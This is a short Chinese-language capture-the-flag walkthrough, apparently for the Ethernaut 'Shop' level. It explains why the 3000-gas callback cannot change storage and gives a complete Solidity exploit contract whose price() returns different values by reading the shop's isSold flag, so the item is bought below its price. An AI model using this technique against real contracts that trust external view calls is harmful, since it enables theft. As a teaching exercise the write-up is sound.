本關原理跟11. Elevator相差不大,關卡合約中分別呼叫了兩次Buyer合約的price函數,只要第二次呼叫回傳的數字比第一次呼叫回傳的數字小即可。關卡難點在於關卡合約使用call呼叫price函數時自定義了一個十分少的gas數量(3000),這個數量不足以更改任何Storage的數值。
觀看關卡合約,可以看見兩次呼叫price函數中間有以下代碼︰
isSold = true;
因此我們可以利用isSold數值的轉變在price函數回傳不同的數字。
由於gas提供的數量實在太低,在compiler版本Solidity 0.8有可能會因compiler版本差異而導致gas花光令函數執行失敗,因此以下代碼以compiler版本Solidity 0.7編寫。
打開Remix IDE,新建檔案Buyer.sol貼上︰
pragma solidity ^0.7;
interface IShop {
function isSold() external view returns (bool);
function buy() external;
}
contract Buyer {
address levelInstance;
constructor(address _levelInstance) {
levelInstance = _levelInstance;
}
function price() public view returns (uint256) {
return IShop(msg.sender).isSold() ? 0 : 100;
}
function buy() public {
IShop(levelInstance).buy();
}
}
然後發送,呼叫buy函數。最後按提交,本關完成。